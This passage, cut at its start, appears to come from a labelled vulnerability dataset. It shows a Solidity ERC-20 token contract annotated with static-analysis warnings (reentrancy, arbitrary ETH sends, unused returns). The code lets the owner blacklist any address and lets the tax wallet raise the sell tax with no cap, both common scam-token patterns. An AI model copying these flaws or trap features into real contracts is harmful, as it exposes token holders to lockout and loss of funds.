never change.\n uint256 private _initialSellTax = 17;\n\n\t// WARNING Optimization Issue (constable-states | ID: f14fa0c): elon._finalBuyTax should be constant \n\t// Recommendation for f14fa0c: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: a0cb030): elon._reduceBuyTaxAt should be constant \n\t// Recommendation for a0cb030: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 17;\n\n\t// WARNING Optimization Issue (constable-states | ID: cfb3a20): elon._reduceSellTaxAt should be constant \n\t// Recommendation for cfb3a20: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 17;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1874a00): elon._preventSwapBefore should be constant \n\t// Recommendation for 1874a00: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 20;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 100_000_000 * 10 ** _decimals;\n\n string private _name;\n\n string private _symbol;\n\n uint256 public _maxTxAmount = _tTotal.mul(200).div(10000);\n\n uint256 public _maxWalletSize = _tTotal.mul(200).div(10000);\n\n\t// WARNING Optimization Issue (constable-states | ID: 5470ef2): elon._taxSwapThreshold should be constant \n\t// Recommendation for 5470ef2: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = _tTotal.mul(100).div(10000);\n\n\t// WARNING Optimization Issue (constable-states | ID: 527ebc2): elon._maxTaxSwap should be constant \n\t// Recommendation for 527ebc2: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = _tTotal.mul(100).div(10000);\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor(string memory name_, string memory symbol_) payable {\n _name = name_;\n\n _symbol = symbol_;\n\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: bac5f61): elon.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for bac5f61: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 7af30a7): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 7af30a7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 14e423a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 14e423a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 7af30a7\n\t\t// reentrancy-benign | ID: 14e423a\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 7af30a7\n\t\t// reentrancy-benign | ID: 14e423a\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6ee2803): elon._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 6ee2803: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 14e423a\n\t\t// reentrancy-benign | ID: 4d6f451\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 7af30a7\n\t\t// reentrancy-events | ID: 30f4483\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 3d35a00): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 3d35a00: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: a135f98): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for a135f98: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 3d35a00\n\t\t\t\t// reentrancy-eth | ID: a135f98\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 3d35a00\n\t\t\t\t\t// reentrancy-eth | ID: a135f98\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: a135f98\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: a135f98\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: a135f98\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 3d35a00\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: a135f98\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: a135f98\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 3d35a00\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 3d35a00\n\t\t// reentrancy-events | ID: 7af30a7\n\t\t// reentrancy-events | ID: 30f4483\n\t\t// reentrancy-benign | ID: 14e423a\n\t\t// reentrancy-benign | ID: 4d6f451\n\t\t// reentrancy-eth | ID: 714ca3b\n\t\t// reentrancy-eth | ID: a135f98\n\t\t// reentrancy-eth | ID: 2544b6c\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: d83fd40): elon.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for d83fd40: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 3d35a00\n\t\t// reentrancy-events | ID: 7af30a7\n\t\t// reentrancy-events | ID: 30f4483\n\t\t// reentrancy-eth | ID: 714ca3b\n\t\t// reentrancy-eth | ID: a135f98\n\t\t// reentrancy-eth | ID: 2544b6c\n\t\t// arbitrary-send-eth | ID: d83fd40\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 30f4483): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 30f4483: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 4d6f451): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 4d6f451: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: beea038): elon.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for beea038: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 4c96279): elon.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 4c96279: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 714ca3b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 714ca3b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 2544b6c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 2544b6c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() public onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), msg.sender, type(uint256).max);\n\n\t\t// reentrancy-events | ID: 30f4483\n\t\t// reentrancy-benign | ID: 4d6f451\n\t\t// reentrancy-eth | ID: 714ca3b\n\t\t// reentrancy-eth | ID: 2544b6c\n transfer(address(this), balanceOf(msg.sender).mul(95).div(100));\n\n\t\t// reentrancy-events | ID: 30f4483\n\t\t// reentrancy-benign | ID: 4d6f451\n\t\t// reentrancy-eth | ID: 714ca3b\n\t\t// reentrancy-eth | ID: 2544b6c\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-events | ID: 30f4483\n\t\t// reentrancy-benign | ID: 4d6f451\n _approve(address(this), address(uniswapV2Router), type(uint256).max);\n\n\t\t// unused-return | ID: 4c96279\n\t\t// reentrancy-eth | ID: 714ca3b\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// unused-return | ID: beea038\n\t\t// reentrancy-eth | ID: 714ca3b\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-eth | ID: 714ca3b\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 714ca3b\n tradingOpen = true;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 193bbd0): elon.reduceFee(uint256) should emit an event for _finalSellTax = _newFee \n\t// Recommendation for 193bbd0: Emit an event for critical parameter changes.\n function reduceFee(uint256 _newFee) external onlyOwner {\n require(_msgSender() == _taxWallet);\n\n\t\t// events-maths | ID: 193bbd0\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10267.sol",
"size_bytes": 21612,
"vulnerability": 4
} |
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